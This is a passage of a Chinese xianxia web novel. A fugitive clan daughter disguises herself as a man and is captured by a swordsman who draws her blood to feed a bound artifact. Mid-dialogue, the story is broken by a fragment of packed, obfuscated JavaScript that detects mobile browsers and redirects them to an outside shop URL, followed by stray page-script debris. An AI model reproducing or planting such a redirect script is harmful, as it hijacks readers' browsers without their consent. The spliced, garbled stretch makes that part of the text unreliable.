姒芙脸上全无得知这些消息的惊慌失措。 暴露就暴露了吧,她还留了一手,姒家要抓她也没那么容易。 “阿姐好没意思,都不陪我玩一玩。”龙骨金刀“嗖”的一下没入她掌中,少女态度一变,盘腿坐下,掏出一块巴掌大的玉盘,苦恼道:“我可以不缺那点灵石,可是阿姐,我这阵器怎么炼效果都不尽人意,你帮我看看。” 姒芙望天长叹一声,“兰儿,我在被人追杀。” 姒兰不在意摆了摆手,“这是姒家的私宅,到处都有家徽,哪个不长眼的敢乱闯?” 姒兰反应到什么,又问:“所以你方才是因为躲避追杀才不小心闯了进来?还了毁一间屋舍?” 姒芙头疼地应了一声。 姒兰满眼同情,“阿姐每每出门都惹祸的毛病,我拍马也赶不上。” 姒芙想了想,忽然问:“兰儿,你知道姒家有什么仇人吗?” 姒兰顿了顿,问:“仇人?姒家的仇人?” 见她困惑,姒芙试探问:“你在外头历练的多,可听过一个叫‘寂无寐’的剑修?” “寂无寐?”姒兰仔细想了想,“没有,当世大剑修我都数得过来,没听过叫寂无寐的。” 没有……那“寂无寐”可能是假名? 姒兰问:“刚刚是他追杀你?” “那倒不是。” 姒兰由衷佩服道:“是我小瞧阿姐了,阿姐欠的债还真多啊。” 姒芙不明所以:“欠什么债?” 姒兰揶揄笑笑,认真细数起来,“以追杀或者讨债之名找上门的,萧家小公子、生金阁阁主、各大宗门弟子,祁家好像也来过人。你未成婚前,不都排着队求娶你吗?” “你跟我说的是一回事?” “大差不差,唉,扯远了,你赶紧帮我看看这阵器,月末考核我再不通过,族老就要克扣我修炼资源了。” 姒芙无奈接了过来,只瞧了一眼,指着一处道:“灵脉偏了,灵力走向不流畅。” 姒兰左瞧右瞧,疑惑道:“我怎么就瞧不出区别?” 她这个一母同胞的妹妹姒兰,在阵修上天赋不高,可一把大刀耍得虎虎生威,路子已经向刀修偏了过去。 姒芙没好气道:“你先应付过这个月吧,我着急要走。” 姒兰一把扯住她,“阿姐你要去哪里?好不容易见你一面,平日给你传信也不回,就这么不待见我这个妹妹?” “我忙着逃跑呢!” “厉害吗?我打得过吗?或者咱两联手能打过吗?” “我若对付的了,还会急着跑吗?” 姒兰颔首,“也是,唉,阿姐,你要不回姒家躲起来得了,大不了家主和族老们罚你的时候,我帮你扛着,总归就受一点皮肉之苦” 姒芙唤出大鹅的动作一滞,低声道:“我不回姒家。” 姒兰困惑:“为什么不回姒家?” 姒芙沉下眉眼,并不回答,掏出四瓶补灵丹灌了下去。 姒兰心里不舍,又不好阻拦,这么些年好不容易见一面,都没能好好说上两句话。 “最后一个问题。” 大鹅已停在半空中,姒兰赶忙出声留住她。 “阿姐铁了心要离开姒家,我不追问原因,但是,几年前你借蔺家养病的名义,偷偷离开姒家躲在外头,为何半道又回来履行婚约?” 姒芙一愣,半垂下眼,双唇紧抿。 “你若真想逃跑,那是最好的机会,可你为何自己回来了?” 姒芙避而不谈,姒兰被惹急了一把捏住她的衣角,如儿时那般哀求。 “阿姐……” 姒芙最怕她这个模样,咬了咬牙,一狠心跨上大鹅。 姒兰一副要哭出来的样子,哀怨望着她,眼神沉沉压得她心口憋闷。 姒芙撇开脸,最终无奈一叹,声若蚊讷:“我若不回来,送去玄善门成婚的人,就是你。” 话音刚落,一阵疾风,人与鹅已经不见踪影。 她未细说,当年抛下寂无寐离开冒儿山,正是听见她那好继母要把姒兰送去替嫁,她得知消息后才刻意被姒家人发现,回族中履行婚约。 姒兰怔忡望着远方顷刻消失的人影,缓缓笑了,眼角无声滑落一滴清泪。 …… 这一回姒芙发了狠,一连纵行两日,跨过西境疆域回到中原。 她向南而行,直到补灵丹所剩无几才降落在一处小山头。 姒家下了天司令,前方是隶属祁家的荷禾城,她现在不敢轻易进城。 山顶有一座小破庙,半塌不塌,半片遮头屋檐颤颤巍巍,仿佛一个暴雨就能砸塌。 许是常年无人问津,坐镇庙中的佛像只剩半具身子,身下的坐莲都没了原型。 姒芙推开虚掩的庙门,脚步一顿。 佛像正前方躺着个衣衫褴褛的老乞丐,正翘着腿呼呼大睡。 凡事都有个先来后到,姒芙收回脚坐回庙前台阶上,翻出一块芝麻馅饼啃了起来。 望着湛蓝的天空,嚼着口中又甜又干的饼子,思考下一步该往哪里跑。 她在姒家长大,甚少出门闯荡,对中州的了解大多来自书本和传言。 不是她不肯,而是姒洄管得太严。 姒洄看她看得紧,无论去哪里都带在身边,便是在蔺家学习炼器之法的三十年,姒洄也安排人贴身跟随。 他说她一身修为在器与阵上,在外难以自保,实际上她最擅长融会贯通,保命的剑法与术法若是肯学,同样能修习得很不错。 可姒洄不许她碰这些。她躲着他,偷偷修炼了点皮毛。 不知想到什么,姒芙停下咀嚼,忽而觉得口中的甜饼变得难以下咽。 “小娃儿,浪费粮食可不是好习惯。” 姒芙一愣,方才在庙里头睡得不省人事的老乞丐,不知何时坐到她身边。 他穿了一身破烂袍子,没几处不漏风,上头却干净整洁只沾了点灰尘,身上也没有寻常乞丐的酸臭味,一双眼笑吟吟直直盯着她……手中的糖饼子。 姒芙看懂了他眼里的垂涎,他没明着要,拿旁的话提点她。 姒芙看了眼手中啃了一半的饼,从怀中掏出一个新的,递给他:“这个我未动过。” “欸!”老乞丐乐呵呵接了过来,狠狠咬了一口,眯眼赞道:“好吃!” 经老乞丐这么一打岔,姒芙又恢复了点食欲,一老一少坐在破庙门口,默契地吃了起来。 姒芙还好心递给他一袋清水。 老乞丐毫不客气地接过,笑道:“看你这行头非富即贵,小娃儿不嫌弃老身?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386423|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姒芙叹了口气,她被人追得跟丧家之犬似的,又好得到哪里去。 “我也就送了您一张饼,一袋水,老先生莫吹捧我了。” 老乞丐呵呵一笑,问:“世家大族出来的娃儿吧?未经世事,我一个乞丐,怎当得了你一句‘老先生’?” 姒芙回神,随口喊惯了,倒是没注意这个细节。 “不过,已经许久没有人喊我‘老先生’了。”老乞丐忽然又感慨了一句。 姒芙转头看去,老乞丐浑浊的双目突然变得精神奕奕,“我是个苦修,已经下山二十八个年头了。” 姒芙依旧不解,心里过了一遭,不记得中州有苦修的门派。 老乞丐将落在身上的饼渣丢入口中,“我并非中州人。” 非中州人?那是来自海外? 他站起身,懒洋洋伸了个懒腰,“吃饱喝足,我得上路了,小娃儿,你很不错。” 姒芙与他挥手作别,就见一阵青烟自他脚底而起。 “你我有缘,下回相见再报你这一饼之恩。” 姒芙惊诧望着他身影在烟中缓缓消散,这是……什么遁术? 她在老乞丐消失的地上转了两圈,地上并无传送阵法,若能修得这遁术,哪里还需这样连夜奔逃? 可还未察觉到丝毫端倪,腰间传信玉牌忽然急促闪烁起来。 刚打开玉牌,姒兰刺耳的嚎叫声霎时灌满耳朵。 “阿姐!!你到底惹了什么人!!!” 姒芙捏了捏快被震聋的耳朵,没好气道:“有话好好说。” 那头姒兰似在奔逃,不时有风声传来,“有个剑修突然追来,差点把我给砍了!” 姒芙一凛,赶紧问:“你怎么样?伤到哪里了?他还在追你吗?” 姒兰似乎吓得不轻,边哭边吼,“倒是没追了,可我险些就没命了。” “到底怎么回事?” “你一离开我就去找四哥会合,半路上他‘嗖’的一下出现在我面前,他好奇怪,直直冲我来又问我是谁。” 这一系列操作,姒芙也听懵了,问:“然后呢?” “然后?然后我说我是姒家人,他就要杀我。”姒兰回想到那画面,心有余悸,“好在你送我的防御法器挡了一击,他看到法器上留着你的印记,问我跟你什么关系,我说是你一母同胞的妹妹。” “我问他是谁,他说他叫寂无寐,这天煞的寂无寐,听见我是你妹妹也没放过我,直接把我打晕,我到现在才醒过来。” 姒芙一愣,寂无寐?竟然是寂无寐? 姒兰抹着泪质问:“阿姐,这就是你提过的寂无寐吗?你到底从哪里招惹到这么厉害的怪人?” “别问了,你现在赶紧去找四哥。”想了想,又道:“或者直接回姒家,最近别出门。” 姒兰在那头连连应声,抱怨了一句:“好端端的,他怎就找上了我,险些死在外头。要族里知道我死的这么窝囊,只怕连碑都不会给我立。” 好在她安然无恙,姒芙一阵后怕,连声安抚,忽而心头一震。 是啊,寂无寐为何会找上姒兰?之前都是精准找到的她。 回想当夜他那么快追上来,又锁定她在城中面馆,本就奇怪他怎么来的那么快,她确信身上没有追踪术之类的东西,要说两人之间唯一的联系……就是融进他体内的塑月。 姒芙悚然一惊。 塑月! 当年她改造塑月时,里头掺了自己的血,以至于每隔一阵会用自己的血来温养塑月…… 她当时只想着这塑月总归是给自己用,等融进体内会自行运转。 可如今这塑月却被寂无寐夺走了! 塑月若要持续发挥作用,需要她的血来维系,某些法宝有自我意识,塑月便是如此。 需要血,就会感应所需血液位置,而她跟姒兰一母同胞血脉相近,所以寂无寐才会找错人? 难怪她无论逃到哪里寂无寐都能找到她…… 塑月感知范围有多远?她不得而知!毕竟她还没用上呢! 姒芙几乎站立不稳。 算一算已经过了两日,可若是如她猜测那般,寂无寐很快会再次追来。 姒芙心慌意乱,怎么办,怎么办! 姒芙慌得在庙里头乱转,无意识摸到脖上玉环,脚步一顿。 玉环一闪,手中多了一柄拇指长短的小刀片,朴实无华,刀刃也是钝的。 姒芙盯着刀片沉默下来。 寂静的山头传来枝丫断裂之音,伴随着风动衣袂之声,隔着庙门,姒芙望见一个素白身影翩然落在十几米外。 翠绿青山映出他俊秀的眉眼,嘴角含着春日和煦的浅笑。 在姒芙眼里成了只阴魂不散的鬼。 他背着手,一步一步,朝破庙行来。 姒芙一咬牙,再不犹豫,捏着刀片一把插入距离心口一寸远的胸膛…… 21.风急雨疏同路行 姒芙忍着心口一抽一抽的剧痛,一掐指尖换了身粗布麻衣,刚施完术法,“吱呀”一响,破庙那扇要掉不掉的门被人缓缓推开。 一个阳春白雪的身影划破满屋萧条,迈了进来。 他微眯着眼在庙内逡巡一圈,瞥见角落里的姒芙,顿了顿。 姒芙刚被自己插了一刀,瘫在地上心如擂鼓,面上还要装作见到陌生人的好奇。 寂无寐目光在他身上点了一下便收了回去,姒芙心口一松,忽而身下地动山摇。 惊讶望去,就见立在庙中的寂无寐,周身旋绕起一股烈风,气旋从脚底升腾而起,掀起他的衣袂和墨发。 他眉眼半垂,凝神静气,手臂轻飘飘一抬,倏地,本就摇摇欲坠的破庙晃动起来,所有物事忽而高飞,旋转升至半空。 姒芙紧紧抠着地面才没风卷起,正奇怪他要做什么,轰隆一声,空中所有死物被炸成碎片,簌簌落了下来。 姒芙吃了半口灰,一阵猛咳。 再抬眼,整个破庙被夷为平地…… “咦?” 他疑惑地四下望了一圈,似在寻找什么,目光细细扫过,最后落回姒芙身上。 姒芙心头一颤。 他缓缓停在她面前。 风轻云淡的目光,好奇打量着她。 姒芙咧嘴一笑,一开口,声音粗哑浑厚,是个壮汉声色,“这位郎君好生厉害,一来就毁了这间庙,是要做什么?” 寂无寐平静的脸上,眉头微微皱起。 他沉吟片刻,温声问:“这位……兄台,你可曾见过一名妙龄女子?一双杏儿眼,眉如翠羽肌如白雪,双十年岁模样,只有在下肩头高。” “郎君原是在寻人。”他果真没瞧出她。 姒芙心里窃喜,面上佯装回想一番,有模有样回:“在下一直呆在此处,只见过一个老乞丐,方才已离开,并未见过什么女子。” 寂无寐点了点头,忽而关心问了一句:“兄台可是身体不适?为何满头大汗?” 姒芙扯谎的本事与生俱来,“谢郎君关心,在下这几日疲于赶路,刚睡一觉醒来,就给郎君这架势……吓成这样了。” 岂止是吓的,实际上她是给饿成这样的。她现在非常饿,饿得能啃下一头牛。 这就是她不愿轻易使用“太虚”的原因。“太虚”是她炼制用来伪装身份的法宝,不同于普通的易容幻术,是真真实实生出血肉改变骨骼,有内到外换出一个真实的“人”。只是变换的时候痛不欲生,痛完就饿。 毕竟身上这一堆如壮汉无异的精肉,可不是白长的。 寂无寐沉吟片刻,转而道:“抱歉,是在下莽撞不小心吓到兄台。敢问……兄台是何方人士?” 姒芙装作不解:“郎君,你我素未谋面,问我身份做什么?” 寂无寐似乎只是随口一问,他悠悠然走开两步,随手在脚旁乱石堆里捡起一根半臂长的断木。 拿在手中把玩,漫不经心问:“那兄台是否听闻过……姒家长女姒芙?” “姒芙?”姒芙假意愣了一瞬,脸上喜不自胜道:“你……你认识我阿姐?” 她无法跟自己原身撇清关系,毕竟身体跟塑月有着血脉牵绊。 寂无寐眉尖一挑,“阿姐?”他蹲下身仔仔细细再次打量她,木棍尖锐的一头在她眼前晃悠,“云罗夫人虽然三嫁,但只诞下两女,皆是姒家人,你这个弟弟是从何处冒出来的?” 姒芙一抹粗糙了许多的脸,落寞道:“兄台不知,我……我是云罗夫人的私生子。” 眼前旋转的木棍一顿,“私生子?云罗夫人?” 姒芙伤心道:“实不相瞒,阿娘生下我就将我藏在一个村里,待我懂事后说要去寻我爹,一走就是十七年,我这次出来就是寻阿娘的。” 姒芙的娘亲云罗夫人,第三嫁给青冥宗大剑修路凝,恰逢四十年前路凝闭关,中州又传出云罗夫人要闹和离的传言,二十年前离开青冥宗便杳无音信,现下无人知晓她的踪迹。 寂无寐看着眼前壮硕的……少年,想起云罗夫人离经叛道的作风,竟也觉得……合理。 姒芙仿佛一个被遗弃的可怜人,装模作样追问了一句:“这位道友如此厉害,是否听到过云罗夫人的消息?哪怕只言片语也可以?” 寂无寐意味不明地盯着她,似乎在辨别话中真伪。 姒芙指着他手中木棍,打断他的思绪:“兄台能否别转了,我眼晕。” 寂无寐将木棍一收,谦和有礼道:“抱歉,在下并不知云罗夫人消息。”悠悠然站起身,“既然找错了人,在下就不叨扰了。” 他背着手转身离去,姒芙正暗自庆幸糊弄走他,忽而见他即将迈出破庙地界的脚一顿,又慢悠悠走了回来。 姒芙佯装不解问:“阁下还有何事?” 忽然一股巨大的灵网笼罩而下,姒芙一惊,“你这是!?” 灵网瞬间将她全身紧紧裹住,流动的灵力顺着网上脉络,一寸一寸如蛇一样蠕动滚过,每经过一处,肌肤留下一片灼热。 灵网很烫,却没有想象中的疼,姒芙知道寂无寐在查看,查看她是不是使用了某种未知的易容术。 好在她炼制的“太虚”并非普通幻术,而是实打实长出了血肉,世间也仅此一件。 寂无寐眉头皱得越来越深,姒芙心中高兴,嘴上还要怒骂着:“我不过一个山野村夫,跟你无冤无仇,你这是做什么!” 倏地灵网消失,寂无寐静静盯着她,眼神晦暗不明,无声无息。 他微微弯腰,姒芙眼前一花,断裂的木棍凌空一划,在她上臂划出一道一指长的伤口。 “兄台你这是!”姒芙气得要跳起,那木棍又将她压了回去。 “莫动,”他五指张开,停在距离手臂伤口上方两寸远,鲜红的血液瞬间受到感应,凝成一股细细血线朝他缓缓流去。 “借你血一用。” 姒芙惊骇地看着自己血被他吸进体内,大惊怪叫着,“你是邪魔歪道不成?” “邪魔歪道?算不上,但比名门正派强。” 塑月饮了血,姒芙感觉肩头压着她的木棍都充盈了灵力。 “兄台,你莫不会要吸干我吧?” “那倒不会。” 他骤然收了手,只取了半盏茶的量,人却未走,一双幽暗的眼静静打量着他。 他还想折腾什么? 姒芙忍着疼又开始哀求,“阁下还有何指教?在下自认打不过你,也未曾得罪你,你若要赶尽杀绝不如给个痛快,莫要这样三番两次折磨我。” 寂无寐低低一笑,“兄台误会了。”手一抬,一根绳索自袖中飞出将她紧紧捆住。指尖一勾,绳索拽着她跟到他身后。 他背着手悠闲自在向外走,心情一下又变得极好,温声道:“在下无奈取了兄台的血,作为补偿,”他回头看向她,笑意悠悠,“我帮兄台找云罗夫人。” 姒芙四肢没了意识,被绳索驱动如傀儡般,整个人被制服得死死的。 “多谢阁下‘好意’,我一个有手有脚的汉子,不需要阁下帮忙。”她咬牙切齿,还在做最后挣扎。 谁知寂无寐却笑吟吟回道:“有手有脚?我若是废掉你这一双手脚……” 姒芙立马改口:“道友如此厉害,跟着您一定能很快找到阿娘。” 寂无寐满意一笑。 她愤恨望天,心里忍不住咒骂,同样是一母同胞,他放过姒兰,为什么没有放过一个毫不相干的“私生子”! 寂无寐领着她进了附近的荷禾城。 城如其名,荷禾城建立在一方一望无垠的湖泊上,街道是连接几处湖心小岛的桥梁,湖里种满了荷花。 荷叶田田,水天相接,乃中州景色优美的一座湖上之城。 荷禾城的荷花并非普通观赏的寻常之物,作为丹药世家祁家属地的城镇,以祁家物尽其用的作风,所有荷叶底下都种着一种名贵药材——荷露香。荷花开放时,洁白的荷花被采摘下来送去祁家,从而提炼出荷露香。 每年夏季,城中涌进大量外地人来赚取采荷佣金,如今正值春中,城中空置了许多房舍。 寂无寐熟门熟路找了个房牙人,赁租了一套一进的宅子。他好似对人间俗物很熟悉,签字画押一气呵成,姒芙在旁看得啧啧称奇。 毕竟,她很少接触这类俗务,独自在外那几年因此花了不少冤枉钱。 租下的宅子临近湖畔,院内院外种了几株垂柳,湖风吹拂荡漾出几分诗情画意。里头整洁干净,一应俱全,有三间厢房一座灶房。 寂无寐抬步向最大的厢房走去,一副要在此暂居一段时日的架势。 他不继续追“姒芙”了? 姒芙犹豫几番,问:“阁下不是要带我找娘亲吗?赁下这座宅子做什么?” 寂无寐脚步一顿,想了想,道:“云罗夫人 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她与寂无寐“素不相识”,不知寂无寐为何偏偏把她留下,可她实在太累了,接连几日的奔波都没能完整睡个囫囵觉,现在就算天塌下来也不能阻止她先会周公。 第二日醒来,姒芙第一件事就是找了家酒楼,点了满满一桌肉食,将昨日未能顾上的太虚后遗症全补了回来。 吃到一半她眼珠儿一转,将剩下未吃完的饭菜打了包,提着丰盛的餐食慢悠悠回到暂居的院落。 她不是没想过逃跑,只是那绳索变成一条手环缠在腕上,想跑也跑不了。 正赶巧,刚回宅子就见寂无寐百无聊赖靠在正厅门边赏春景,听她归家,他眼神飘过来,恰好落在她手中的食盒上。 姒芙勾唇一笑,先佯装跟寂无寐招呼了一声。寂无寐今日心情似乎不错,看她的眼神温和许多。 姒芙拎着食盒,状似殷勤道:“我去城中酒楼买了些吃食,寂公子要一起食用吗?” 说着话迈进屋子,将食盒内的菜品一一摆上,皆是油光发亮的大荤之物。 寂无寐看着桌上这一堆略微一顿,“谢过何兄台好意,寂某陪何小弟用早膳便是。” 陪她吃早食?还真要陪? 她知晓寂无寐不食荤腥,才特地将这些菜色从酒楼提了回来,打算在他面前大快朵颐,泄一泄心底的闷气。谁知寂无寐却不按牌理出牌。 姒芙不动声色夹起一块鲜亮的红油肘子,慢慢咀嚼,还眼神示意寂无寐一同食用。 寂无寐直挺挺的坐在桌案另一侧,也不碰碗筷,斯斯文文饮着手边一杯清茶。 “可是这些菜色不合寂公子口味?”姒芙明知故问。 寂无寐笑笑,“何小弟先用便是。” 姒芙心里发笑,他就是嘴硬,明明不吃肉,偏要摆个样子陪她。 正好,她本就是要膈应他的。 一餐饭吃的有滋有味,前所未有的满足,待她终于搁下筷,寂无寐问:“兄台吃好了?” 姒芙摸着饱胀的肚子,挑眉:“这家厨子手艺不错,寂公子却不沾筷,可是早间已用过膳?” “不曾,在下不沾荤油。” 姒芙状似遗憾道,“原来寂公子不吃素,岂不是要错过许多人间美味?” 寂无寐笑笑并不在意,只问:“何兄台吃饱了?” “自然,可惜寂公子还空着肚子,在下就不打搅寂公子品茶了。” 她吃饱喝足,他还饿着,想想心里莫名的快意。 姒芙心满意足要告辞离开,谁知寂无寐忽而隔空将她压回座椅。 “寂道友这是要做什么?” 寂无寐长手伸向她,昨日上臂刚愈合的伤口在他灵力驱动下又崩裂开,细若蛛丝的血线顺着他掌心流入体内。 姒芙猛然一惊。 寂无寐在她对面莞尔一笑,脸上丝毫不见再次取血的愧疚,一点也不客气道:“昨日仓促亏了些血,今日补上来。” 他眸中漆点,还好心安慰了一句:“放心,我控制得很好,不会让小弟损了身子。” 姒芙幡然醒悟。 本以为寂无寐将她带走是漏了马脚,谁想却是—— 将她当成了个血罐子! 22.风急雨疏同路行 塑月需要她的血来维系,寂无寐蛰伏在暗处自然不会动姒兰这个四家人,“姒芙“此时又失踪了,她这个寂寂无名的“私生子”反倒成了最佳选择。 姒芙细细琢磨了一轮,打又打不过,逃又逃不掉,即便逃走还是会被寂无寐追上,真是四处求路无门。 唯一庆幸的一点,是每回塑月需要的血液不多。 现在这境况,似乎又比想象中的结果好了一些些——至少寂无寐不会折磨跟他无冤无仇的“何四”。 之前他追姒芙追得那般执着,如今莫名停下,许是考虑到塑月的弊端,等恢复修为再继续? “小弟,猪血一斤,八文钱。” 姒芙掏出几枚铜钱递了过去,默默从屠夫手中接过一根竹筒。 屠夫看了眼身前壮硕少年,又笑呵呵问:“小兄弟要进补啊?过两天我弄点鹿血过来?” 姒芙全身精肉一抖,气闷道:“大哥,我还是个少年!” 她真是脑子被狗啃了,为什么要变换一个壮汉? 在屠夫挤眉弄眼的调笑声中,转身哀怨地叹了口气。屠夫心好,可惜会错了意,她只是单纯需要补血。 拎着一堆肉菜拖着脚步往回走,一路上,菜摊婶子,肉铺汉子,纷纷熟稔地跟她打招呼,姒芙无精打采一一回应。 她日日来市集买菜,已经跟这些人混得滚瓜乱熟。 原因无他,寂无寐把她当成了个真正的汉子使唤。自从撞见她从灶房出来,也不知他怎么想的,非要她日日下厨做饭。 他明明不缺银钱,只说是外头少见素油,不如自己做方便。 人为刀俎,我为鱼肉,姒芙几次拒绝无果,甚至想过在他饭菜里下毒,又想到他耐药的体质。 万法无用,她只能忍辱供他驱使。 寂无寐一点荤腥都不沾的毛病,真是可恨! 姒芙甚至希望他早些恢复修为,省得跟她一样必须食三餐吃五谷,反过来折腾她! 手上的食材变得沉重,姒芙觉得有些力不从心。她设想过无数种隐居生活,却唯独没想过会洗手作羹汤,伺候寂无寐这个家伙! 她得想办法把这事给推掉。 满心怨怼地拐进一条小巷,腰间玉牌闪了闪,正巧四下无人,姒芙取下玉牌凝神一探,点开玉牌。 “阿姐阿姐,你还好吗?你怎么又不理我?”姒兰咋呼的声音炸了过来。 姒芙赶忙摁住玉牌往无人的角落走了两步,确定是个说话的地儿,才揉着额头靠在墙上,重新打开玉牌:“什么事?” “咦,你声音怎么这么奇怪?” “别问,有事快说。” 听她语中隐有不耐,姒兰乖乖不再追问,不好意思笑了一声,“上回你突然摁灭玉牌,我担心你出事,怎么样,那个怪剑修有没有找上你?” 她如今是“何四”,回答“是”也不是,“不是”也不是,从头解释起来过于麻烦,于是反问一句错开话题:“你安全回姒家了吗?” “没有啊。” “没有?你在外头晃荡什么?” 姒兰苦恼道:“我也不想晃荡,可是,四哥他们没有在玄善门找到你,消息传回族里,家主……”她顿了顿,继续道:“家主要亲自出雪麓城,被族老们一致劝了下来,如今所有四重修为以上的都弟子都被派了出来,要抓你。” 姒芙揉着额头的手一顿,她想过姒洄会生气,可这一次似乎超过了她的预料。 那头姒兰话语未停,“家主昨日又从天渊盟下了悬赏令,赏金涨到了五万上品灵石,说‘活要见人,死要见尸’,悬赏令上写的是‘姒家长女’而非‘陆之轩遗孀’,是铁了心要抓你回去。” 姒芙沉吟许久,只淡淡回了一句:“我知道了。” 说着要摁灭玉牌,姒兰又在叫唤:“唉唉唉,阿姐你现在在哪里,安不安全?会不会被找到?你可千万别被抓啊,家主这么大的火气,感觉这回我没办法帮你扛下来。” 姒芙安慰了一句,“放心,我……” “荷香糕诶——又香又甜的荷香糕——” 玉牌传音停了一瞬,姒兰小心翼翼问:“阿姐,你在荷禾城?” 姒芙一把掐灭玉牌,狠狠瞪向途径的挑担小贩。 小贩被凶狠的眼神吓了一跳,叫卖声卡在半道,吓得赶紧扛起担子就跑。 荷香糕,因存放难以超过两日,是荷禾城独有的特产。 她大意了。 腰间玉牌又开始疯狂闪烁,姒芙一把将玉牌丢入储物袋深处。 本不想将行踪暴露给任何人,谁想一着不慎…… 脑中转了无数道道,最后只能自我安慰对方是姒兰,这个妹妹看似大大咧咧,对于她的事却谨小慎微,勉强应该能保守秘密。 她缓了好几口气,才提着菜肉继续往回走。 一路走一路分析,姒家如此大张旗鼓捉她,如今呆在寂无寐身边反而成了最安全的选择。 寂无寐如今未恢复,自然要防着姒家,哪怕真有人找上门,以他的能力总能挡上片刻,她只管用太虚藏着,这样无论是姒家还是寂无寐都发现不了她的身份。 这么一想又安心了几分。 回到暂居的宅子,这几日她略微收拾过,原本空荡的宅邸变得像模像样,除去一些日常用具,院中还摆了几盆装点用的芍药。 过得再寒酸,住得地方总得有些讨喜的色彩,她自小在姒洄身边,姒洄是个极其讲究之人,姒芙耳闻目染也不自觉养出些习惯。 正堂大门敞开,半垂的竹帘随风一荡,掀出里头端坐的一个身影,他似在饮茶,手边上放着一个红木食盒。 这几日,她烦他厌他,尽量避免与他交流。 可见着那食盒,姒芙前往灶房的脚步一顿,迈进正堂,指着食盒问:“这是哪里来的?是不是不用做午膳了?” 寂无寐眉目轻抬,意味深长地看了她一眼,伸手揭开盒盖。 一见到里头的东西,姒芙当即就想把它丢出去。 不是别的,正是方才小贩叫卖的荷香糕。 “隔壁刘夫人送来的。”他笑容玩味,“说是专门送与你的。” 姒芙沉默了好半晌。 隔壁刘夫人是个寡妇……还是个美艳的寡妇。 前几日暴雨天,雷电劈坏隔壁院中一株老树,压塌了半边屋舍。第二日她出门经过,恰巧刘寡妇坐在宅门前哭,她随口过问了一句,得知刘寡妇找来的木匠欺负她家里没了男人,骗走许多修缮银子却敷衍了事,连房上的瓦当都没码严实。 她瞧她哭得可怜,又体恤她带个孩子孤苦无依,便帮她找木匠出了口恶气,不仅修好了房子还退回多余的银钱。 也是从这一次开始,刘寡妇日日送来谢礼,今日是糕点明日是肉菜,有一次还夹了一件齐整的中衣,时不时抓住机会邀请她去屋里坐坐,示好的举动不言而喻…… 她瞧上她了。 就说昨日,她硬生生把她拽进隔壁宅门,说近日城中不大太平,接连有男子莫名失踪,城中巡妖所没有动静,许是人为。 她好心提醒,忧心忡忡劝他一个五大三粗的“汉子”要好生保护自己,谁知末了却在她精壮的胸口上狠狠摸了一把。 她当时吓得立马跑了,如今出门都绕过她家门口,谁想今日又送了东西过来。 姒芙很头疼,转手想将这刺眼的荷香糕退回去,可礼仪教养又告诉她,这样将谢礼送回去不合礼数。 要不扔了? 提起食盒姒芙就往外走,寂无寐唤住了她,“已经午时,我饿了。” 不提还好,他这么一说,姒芙气不打一处来,凶巴巴将食盒往他面前一搁,“那你用这玩意对付一下!” 面对她莫名其妙的怒火,寂无寐没瞧见似的笑了笑,还好心邀请:“你今日未吃早膳,不如跟我一起垫一垫?” 他慢悠悠揭开盒盖,荷香糕浓郁的香味扑鼻而来,也不知是有意还是无意,又补了一句:“食物无错,做出来便是给人吃的,怎能浪费?” 这句话怎么这么熟悉? 好似……以前是从她嘴里蹦出来的? 寂无寐捻起一块淡绿色的糕,放在嘴里轻轻一抿细细品尝,那一句话仿佛只是不经意的随口一言。 肚子恰巧叫唤了一声,姒芙火气不知怎的就消了许多,想了想,转头捧来一壶清茶,跟着坐下。 她说的没错,何必跟食物计较? 给自己斟了满满一杯,慢条斯理尝了一口,荷香糕名副其实,微甜且清香,竟然十分合她味口。 不知不觉,半盘糕点下了肚,一抬眼,却见寂无寐不知何时停下,静静凝视着她。 “寂道友这样看着我做什么?” 他目光点了一下她手边的清茶,姒芙以为要怪她忽略了他,谁知他却语出惊人:“你生于乡野,长于村落,却不大像山野村夫。” 姒芙一凛,波澜不惊问:“寂道友何意?” “清茶配糕点,是世家大族的习俗,平民百姓甚少有这个讲究。”他目光幽幽在厅堂内绕了一圈,落在窗边一瓶插枝杏花上,“你无论是用饭的言行举止,还是待人接物,皆有世家子弟常年被熏陶的风范。” 姒芙心头一凛,她活了两百多年,行走坐卧自有章法,都是深入骨子里的习惯,只从身边男子身上学了点扮相,俨然不知怎么装个山野村夫。她忽然很懊恼,当初怎么就说自己出生在山野?随口选个城镇也好啊! 掩下眼中神色,姒芙略一思索,便道:“我阿娘是云罗夫人,自小得她教导,自然不一样。” 寂无寐颔首一笑,“嗯,说话也文绉绉的。” 姒芙顿时哭丧着脸,“阿娘对我颇为严厉,就怕我长成个混小子,言行举止都有讲究,我……我很可怜的!” 本要哭一哭,反应过来现在这个壮汉模样哭起来有碍观瞻,遂感叹道:“你只看到表面,你可知,我阿娘许是早就计划要离开,对我严加管教,稍有不合意就是一顿棍棒,并且陪了我几年就抛下我,留我独自一人长大。” “的确……很严苛。”他感慨了一句,又问:“当年你阿娘离开时,想来你年岁尚小,这些年又是如何长大的?吃百家饭?” 姒芙越说越起劲,只想赶紧把话题绕过去,“是吧,哪有娘亲这么狠心的?好在自我能走能动就让我学着伺候她,被逼出一手厨艺,这么些年我才不至于饿死家中。” 谁知寂无寐对于她“悲惨”的经历充耳不闻,勾唇一笑:“也是为难你了,做了十几年饭菜还这么难吃,你也不容易。” 姒芙的悲情戏码一顿,跳了起来:“我做的饭怎么可能难吃!” “这么难吃的手艺,我是第二次遇见。”寂无寐盯着她怒不可遏的双眼,眸色深深:“上一个被我说饭菜难吃的人,也是这样跳着脚反驳我的。” 姒芙猛然回想起来,当年在冒儿山两人关系逐渐熟稔时,他也笑叹过一句她的饭菜难吃,当时她气得不轻,要收了他的碗筷,寂无寐温声哄了许久,她才不情不愿收下他的歉意,可也为这事生了好几天闷气。 那也是第一次,她误以为寂无寐脾气敦厚,温温吞吞的,待她极有耐心。 姒芙顿时不敢与他对视,只能模棱两可道:“任谁被嫌弃做饭难吃,都是这个反应。” 他目光落在她身上 